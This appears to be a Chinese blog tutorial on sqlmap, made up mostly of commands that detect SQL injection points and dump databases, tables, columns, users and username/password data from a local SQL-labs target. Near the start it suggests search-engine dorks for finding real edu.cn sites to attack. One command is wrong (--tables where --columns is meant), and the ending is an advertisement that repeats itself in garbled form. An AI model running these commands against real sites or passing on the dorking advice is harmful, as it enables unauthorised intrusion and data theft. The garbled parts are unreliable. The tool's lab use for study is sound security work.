SQLmap使用教程图文教程（超详细）

「作者主页」：士别三日wyx
「作者简介」：CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」：对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》

SQLmap

• 一、目标
• • 1、指定url
    • 2、指定文件（批量检测）
    • 3、指定数据库/表/字段
    • 4、post请求
    • 5、cookie注入
• 二、脱库
• • 1、获取数据库
    • 2、获取表
    • 3、获取字段
    • 4、获取字段类型
    • 5、获取值（数据）
    • 6、获取用户
    • 7、获取主机名
    • 8、搜索库、表、字段。
    • 9、正在执行的SQL语句
• 三、WAF绕过
• 三、其他

SQLmap是一款「自动化」SQL注入工具，kali自带。路径 /usr/share/sqlmap

打开终端，输入sqlmap，出现以下界面，就说明SQLmap「可用」。

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标，其他目标可使用必应搜索以下类型的网站：

inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

1
2
3
4

快速入门；SQLmap（常规）使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'

1
2

2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

1
2

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

1
2

4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

1
2

5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

1
2

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

1
2

一、目标

检测「注入点」前，需要指定需要检测的「对象」。

1、指定url

-u 参数，指定需要检测的url，单/双引号包裹。中间如果有提示，就输入y。

提示：SQLmap不能直接「扫描」网站漏洞，先用其他扫描工具扫出注入点，再用SQLmap验证并「利用」注入点。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

1
2

扫描完成后，告诉我们存在的注入类型和使用的数据库及版本。

2、指定文件（批量检测）

准备一个「文件」，写上需要检测的多个url，一行一个。

-m 指定文件，可以「批量扫描」文件中的url。

sqlmap -m urls.txt

1
2

逐个扫描url，需要确认就按y。

扫描完一个，就会提示存在的注入点。

然后再按y扫描下一个url。

3、指定数据库/表/字段

-D 指定目标「数据库」，单/双引号包裹，常配合其他参数使用。

-T 指定目标「表」，单/双引号包裹，常配合其他参数使用。

-C 指定目标「字段」，单/双引号包裹，常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

1
2

4、post请求

检测「post请求」的注入点，使用BP等工具「抓包」，将http请求内容保存到txt文件中。

-r 指定需要检测的文件，SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

1
2

5、cookie注入

--cookie 指定cookie的值，单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

1
2

二、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a

1
2

-a 就是 all 的意思，获取所有能获取的内容，会消耗很长时间。

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

1
2

最后面显示数据库的版本，这里检测的版本是 5.7.26。

1.2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

1
2

在最后面显示当前使用的数据库的名字是 security。

1.3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

1
2

最后面显示所有数据库的名字。

2、获取表

--tables 获取表

2.1、获取表，可以指定数据库

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

1
2

最后面显示数据库（security）里所有的表名。

2.2、同时获取多个库的表名，库名用逗号分隔。

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

1
2

2.3、不指定数据库，默认获取数据库中所有的表。

sqlmap -u 'http://xx/?id=1' --tables

1
2

最后面显示每个数据库下都有哪些表。

3、获取字段

--columns 参数用来获取字段。

3.1、获取字段，可以指定库和表

提示：只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

1
2

最后面显示表（users）中的所有字段。

3.2、不指定表名，默认获取当前数据库中所有表的字段。

sqlmap -u 'http://xx/?id=1' --columns

1
2

4、获取字段类型

--schema 获取字段类型，可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xx/?id=1' -D 'security' --schema

1
2

最后面显示每个表的字段类型。

5、获取值（数据）

--dump 获取值，也就是表中的数据。可以指定具体的库、表、字段。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

1
2

获取指定库中所有表的数据。

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

1
2

默认获取表中的所有数据，可以使用 --start --stop 指定开始和结束的行，只获取一部分数据。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

1
2

6、获取用户

6.1、获取当前登录数据库的用户

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

1
2

最后面显示当前登录数据库的用户是 root@localhost。

6.2、获取所有用户

--users 获取数据库的所有用户名。

sqlmap -u 'http://xx/?id=1' --users

1
2

最后面显示数据库的所有用户名。

6.3、获取用户密码

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

术停滞不前！**

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-HMQQ2ja4-1715542334664)]

[外链图片转存中…(img-zRVHKSIW-1715542334665)]

[外链图片转存中…(img-lspWbOzw-1715542334666)]

[外链图片转存中…(img-BWKxu1YP-1715542334666)]

[外链图片转存中…(img-cR1s1SVG-1715542334666)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！